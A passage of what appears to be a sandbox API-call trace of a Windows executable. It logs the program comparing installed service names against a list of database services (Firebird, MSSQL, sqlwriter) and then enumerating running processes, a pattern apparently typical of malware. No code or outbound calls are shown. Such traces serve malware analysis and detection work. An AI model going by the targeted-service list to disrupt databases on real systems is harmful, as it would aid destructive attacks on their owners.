(lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.313] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0190.313] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0190.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0190.313] lstrlenW (lpString="KeyIso") returned 6 [0190.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0190.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0190.313] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0190.313] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0190.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0190.313] lstrlenW (lpString="LanmanServer") returned 12 [0190.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0190.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0190.313] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0190.313] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0190.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0190.313] lstrlenW (lpString="LanmanWorkstation") returned 17 [0190.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.313] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0190.313] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0190.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0190.313] lstrlenW (lpString="lfsvc") returned 5 [0190.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0190.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0190.314] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0190.314] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0190.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0190.314] lstrlenW (lpString="lmhosts") returned 7 [0190.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0190.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0190.314] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0190.314] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0190.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0190.314] lstrlenW (lpString="LSM") returned 3 [0190.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0190.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0190.314] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0190.314] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0190.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0190.314] lstrlenW (lpString="MpsSvc") returned 6 [0190.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0190.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0190.314] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0190.314] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0190.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0190.314] lstrlenW (lpString="NcbService") returned 10 [0190.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0190.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0190.314] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0190.314] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0190.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0190.314] lstrlenW (lpString="netprofm") returned 8 [0190.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0190.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0190.314] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0190.314] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0190.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0190.314] lstrlenW (lpString="NgcSvc") returned 6 [0190.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0190.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0190.315] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0190.315] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0190.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0190.315] lstrlenW (lpString="NlaSvc") returned 6 [0190.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0190.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0190.315] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0190.315] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0190.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0190.315] lstrlenW (lpString="nsi") returned 3 [0190.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0190.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0190.339] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0190.339] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0190.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0190.339] lstrlenW (lpString="PcaSvc") returned 6 [0190.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0190.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0190.339] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0190.339] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0190.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0190.340] lstrlenW (lpString="PlugPlay") returned 8 [0190.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0190.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0190.340] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0190.340] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0190.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0190.340] lstrlenW (lpString="Power") returned 5 [0190.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0190.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0190.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0190.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0190.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0190.340] lstrlenW (lpString="ProfSvc") returned 7 [0190.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0190.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0190.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0190.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0190.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0190.340] lstrlenW (lpString="RpcEptMapper") returned 12 [0190.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0190.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0190.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0190.340] lstrlenW (lpString="RpcSs") returned 5 [0190.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0190.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0190.340] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0190.340] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0190.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0190.340] lstrlenW (lpString="SamSs") returned 5 [0190.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0190.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0190.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0190.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0190.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0190.341] lstrlenW (lpString="Schedule") returned 8 [0190.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0190.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0190.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0190.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0190.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0190.341] lstrlenW (lpString="SecurityHealthService") returned 21 [0190.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.341] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0190.341] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0190.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0190.341] lstrlenW (lpString="SENS") returned 4 [0190.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0190.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0190.341] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0190.341] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0190.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0190.341] lstrlenW (lpString="ShellHWDetection") returned 16 [0190.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.341] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0190.341] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0190.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0190.341] lstrlenW (lpString="Spooler") returned 7 [0190.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0190.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0190.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0190.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0190.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0190.341] lstrlenW (lpString="StateRepository") returned 15 [0190.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0190.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0190.342] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0190.342] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0190.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0190.342] lstrlenW (lpString="SysMain") returned 7 [0190.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0190.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0190.342] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0190.342] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0190.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0190.342] lstrlenW (lpString="SystemEventsBroker") returned 18 [0190.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.342] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0190.342] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0190.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0190.342] lstrlenW (lpString="Themes") returned 6 [0190.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0190.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0190.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0190.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0190.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0190.342] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0190.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0190.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0190.342] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0190.342] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0190.342] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4052988 | out: hHeap=0x420000) returned 1 [0190.342] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0190.347] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.347] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.347] lstrlenW (lpString="System") returned 6 [0190.348] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.348] lstrlenW (lpString="smss.exe") returned 8 [0190.348] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.348] lstrlenW (lpString="csrss.exe") returned 9 [0190.348] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.349] lstrlenW (lpString="wininit.exe") returned 11 [0190.349] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.349] lstrlenW (lpString="csrss.exe") returned 9 [0190.349] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.350] lstrlenW (lpString="winlogon.exe") returned 12 [0190.350] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.350] lstrlenW (lpString="services.exe") returned 12 [0190.350] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0190.351] lstrlenW (lpString="lsass.exe") returned 9 [0190.351] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.351] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.351] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.351] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.351] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.352] lstrlenW (lpString="svchost.exe") returned 11 [0190.352] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.352] lstrlenW (lpString="svchost.exe") returned 11 [0190.352] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0190.353] lstrlenW (lpString="dwm.exe") returned 7 [0190.353] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.353] lstrlenW (lpString="svchost.exe") returned 11 [0190.353] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.354] lstrlenW (lpString="svchost.exe") returned 11 [0190.354] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.354] lstrlenW (lpString="svchost.exe") returned 11 [0190.354] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.354] lstrlenW (lpString="svchost.exe") returned 11 [0190.354] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.355] lstrlenW (lpString="svchost.exe") returned 11 [0190.355] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.355] lstrlenW (lpString="svchost.exe") returned 11 [0190.355] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.356] lstrlenW (lpString="svchost.exe") returned 11 [0190.356] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.356] lstrlenW (lpString="svchost.exe") returned 11 [0190.356] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.357] lstrlenW (lpString="svchost.exe") returned 11 [0190.357] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.357] lstrlenW (lpString="svchost.exe") returned 11 [0190.357] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0190.357] lstrlenW (lpString="spoolsv.exe") returned 11 [0190.357] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.358] lstrlenW (lpString="svchost.exe") returned 11 [0190.358] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0190.358] lstrlenW (lpString="audiodg.exe") returned 11 [0190.358] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0190.359] lstrlenW (lpString="sihost.exe") returned 10 [0190.359] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.359] lstrlenW (lpString="svchost.exe") returned 11 [0190.359] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0190.360] lstrlenW (lpString="taskhostw.exe") returned 13 [0190.360] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0190.360] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0190.360] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0190.360] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0190.361] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0190.361] lstrlenW (lpString="Memory Compression") returned 18 [0190.361] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, 